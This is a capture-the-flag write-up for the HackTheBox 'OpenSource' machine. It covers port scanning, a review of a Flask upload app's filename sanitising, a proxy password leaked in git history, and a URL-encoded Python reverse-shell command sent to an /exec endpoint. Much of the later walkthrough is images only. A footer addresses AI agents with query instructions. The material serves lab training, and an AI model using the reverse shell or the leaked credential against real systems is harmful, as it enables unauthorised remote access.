# OpenSource

**Date**: 24/05/2022

**Difficulty**: Easy

**CTF**: <https://app.hackthebox.com/machines/OpenSource>

***

Let’s start with a ping

<figure><img src="/files/JCvPjwplyLlZZ6bA4vrn" alt=""><figcaption></figcaption></figure>

`ttl=63` so we are probably facing a Linux machine.

Let’s do a nmap port scan:

<figure><img src="/files/Ls2qW76SUxQkS4kDuNYZ" alt=""><figcaption></figcaption></figure>

The TCP ports 22 and 80 are open, ssh and http, and there is a port (3000) that appears as filtered. Let’s do a detailed scan to try to obtain the services and their versions:

<figure><img src="/files/t3s3gY1OgAeK4Q6r016C" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jqqerDnZ9BJYJ5RCC2mx" alt=""><figcaption></figcaption></figure>

While the previous scan was taking place (it took around 2 minutes) I launched a whatweb scan to scan the website hosted in the port 80:

<figure><img src="/files/nuoqESodX5FtBHer3jCs" alt=""><figcaption></figcaption></figure>

The OpenSSH build version is `7.6p1 Ubuntu 4ubuntu0.7`

<figure><img src="/files/Uwxcyi9wxEmn7EPN2sWF" alt=""><figcaption></figcaption></figure>

According to launchpad, the target machine should be an Ubuntu Bionic.

The web server is something called Werkzeug… let’s investigate about it:

<https://werkzeug.palletsprojects.com/en/2.1.x/>

<figure><img src="/files/JcBBmj2viAw1u2Y07xu0" alt=""><figcaption></figcaption></figure>

> WSGI is the Web Server Gateway Interface. It is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request.

Let’s see how it looks in the web-browser:

<figure><img src="/files/gxbJ14l2ypVOFKfXTGDW" alt=""><figcaption></figcaption></figure>

Every link redirects to # except the buttons Download and Take me there:

<figure><img src="/files/SIPLtZwgrqfhaQJQk1AV" alt=""><figcaption></figcaption></figure>

Let’s click on Download first:

<figure><img src="/files/UrqXm5t8cFISyCAGERsa" alt=""><figcaption></figcaption></figure>

It starts the download of a compressed file that contains what it seems to be the source code of the upcloud software.

Now, let’s click on the button Take me there!:

<figure><img src="/files/ENAyV9uBS9AuE9MlfNq9" alt=""><figcaption></figcaption></figure>

Let’s upload something:

<figure><img src="/files/IrnZBUrYrdzvD3kBFc5r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9h4JMktFqeUfZ7VsUbkh" alt=""><figcaption></figcaption></figure>

Sooo… it uploaded the file to the target server and then shows you the url to view the file. Nice. It will not be that easy, but let’s try to upload a php-reverse-shell.php…

<figure><img src="/files/efwgZ2DZb3GrUL8uJFpU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/FdsQ7Qr2tIbIcgt1InnU" alt=""><figcaption></figcaption></figure>

Hahahaha no, instead of interpret the php file it send it to us for download.

At this point, we have the source code of the application, so let’s try to see how it works and if there is any vulnerability we can exploit:

<figure><img src="/files/MNVjh6WxnHHYEristdDV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/duvGX9po9TzJ7KKTdKMf" alt=""><figcaption></figcaption></figure>

[Utils.py](http://utils.py) code contains interesting stuff. There are several functions that try to sanitize the filename of the file we will try to upload.

```python
def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
```

The function `recursive_replace` is self-explained. It takes 3 arguments:

* `search`: String that will be sanitized
* `replace_me` : String that will be replaced
* `with_me` : String that will replace the previous one

```python
def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")
```

The function `get_file_name` gets the input `unsafe_filename` and replaces every `../` with nothing using the `recursive_replace` function.

```python
def get_unique_upload_name(unsafe_filename):
    spl = unsafe_filename.rsplit("\\.", 1)
    file_name = spl[0]
    file_extension = spl[1]
    return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension
```

This function gets the input `unsafe_filename` and does 2 things.

1. It splits the input using the most right `.` character
2. Then it sanitizes the filename (but not the extension) and concatenate both including between a string representing the current milliseconds)

```python
"""
TODO: get unique filename
"""
```

There is a comment about a feature that has not been developed yet. Maybe we can use this later… Maybe we can cause something if we try to upload 2 files with the same filename?

<figure><img src="/files/SLmNg3RJAXu3Ite2zgo2" alt=""><figcaption></figcaption></figure>

The views.py file has functions related to the file upload process:

```python
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')
```

Ok, if we could name our file something like “../../../../../etc/passwd” the render template should return the passwd file due to directory traversal vulnerability. But the file name is being sanitized, replacing the “../” recursively with a blank string. Maybe we can find other string which can do the same function as “../../../../” (I don’t really know if it exists).

But first, let’s see what happens when we try to upload the same file twice (due to the TODO task), so we will upload the same file again, but changing it’s content. Previously the content of text.txt was “Hello world”, this time will be “Test”.

<figure><img src="/files/lu0BZoHwFeW8HSxXhDuN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QSkkcYyMB6JOQkiLutaD" alt=""><figcaption></figcaption></figure>

Interesting, the upload overwrites the previous file.

Ok, let’s use Burpsuite to try to manipulate the upload. I intercepted an Upload request and send it to the repeater:

<figure><img src="/files/m5p99obawleyMYJ2gAHL" alt=""><figcaption></figcaption></figure>

It didn’t work well…

After MANY hours trying to bypass the sanitization of the recursive replacement function in get\_name… I started from other aproach:

If we list all files we downloaded:

<figure><img src="/files/XyUiZzS2EtBAof0493Ld" alt=""><figcaption></figcaption></figure>

We can see the .git folder, which indicates us that is a git repository. Let’s enumerate it!

First, let’s see if there are several branches:

<figure><img src="/files/wp0BoAIa032B3PRjTudz" alt=""><figcaption></figcaption></figure>

Yep, we are in the public branch, but there is another one called dev, so we switched to it. Let’s read the logs:

<figure><img src="/files/CErq8GrMeeqjWVEiD4yf" alt=""><figcaption></figcaption></figure>

There are some commits. Let’s see the difference between them:

<figure><img src="/files/Ywh5tNTJO0GdNqNsEZaC" alt=""><figcaption></figcaption></figure>

Between the “ease testing” and “added gitignore”, there is nothing interesting.

<figure><img src="/files/fS65OZnMsB0bj20HFQJn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Lf14GWFQeZriWElhRT9t" alt=""><figcaption></figcaption></figure>

But, between “ease testing” and “updated” there is a strange url with something that looks like credentials in a file called “settings.json” inside the .vscode folder.

```python
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
```

Let’s

<figure><img src="/files/u1aUYfY2HJBl1zd3v7YQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VtzwnB7xCpYyVF6FuPdL" alt=""><figcaption></figcaption></figure>

`http://10.10.11.164/exec?cmd=ping%20-c%201%2010.10.14.198`

<figure><img src="/files/dIhswcpghti65zVVvI4b" alt=""><figcaption></figcaption></figure>

`10.10.11.164/exec?cmd=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%2210.10.14.198%22%2C1234))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call([%22%2Fbin%2Fsh%22%2C%22-i%22])%3B%27%0A`

<figure><img src="/files/ll7K0Y9a8EPsJiNMYXiK" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ycxh0ycN1muPibwDCtKs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/KLMEeUTfVVPSWh1FIK7I" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9xRhT6934RveJqu6tNLw" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZHiauI9MSVhGJhosSuwP" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/hKIjGQg6Ip5wrp2dkq5A" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RuHpRxeLk0FKfnVUxFb1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/q4uuv3KkxBHrnwzTlhtz" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cUP2c3I96XeHd2FPyt1C" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AIW0IzupSoY67iEaagP0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RjlUPQxbXLTRGaZ9lUwx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Nd4rV2FEBrSmVkTI7meb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/xdtp9CF8lFsZSyBN9BDq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/klrmz1rhhJwAyjZzLBht" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NqVmQqAFcXrsfPmNbLoi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CIZsQb1WUReBWA5E6Ejk" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Gfu6sOCOWkL1yGwVQHZ6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/mycvYiXKLQItd9JsVbi0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Rv17cHMtBpPv8LtGxS3n" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fNVPMcmjKLAuXmMmgWaU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yPeUSoPbp0LqXAco3voZ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yrkZMJulT0P5f7kntdTI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8Ep0tyxODDnI1govW2aS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ALBdGuXGGCU5uBQJut02" alt=""><figcaption></figcaption></figure>

psp

<figure><img src="/files/uGnGKnZJSvf7ky8RS39C" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QWMoVdUNf5FXyI6WdhqM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/V9aZlUEwZo8FzoV9IXAi" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OLb6G0nVWHZUYB0hw26s" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/htb/2022/opensource.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
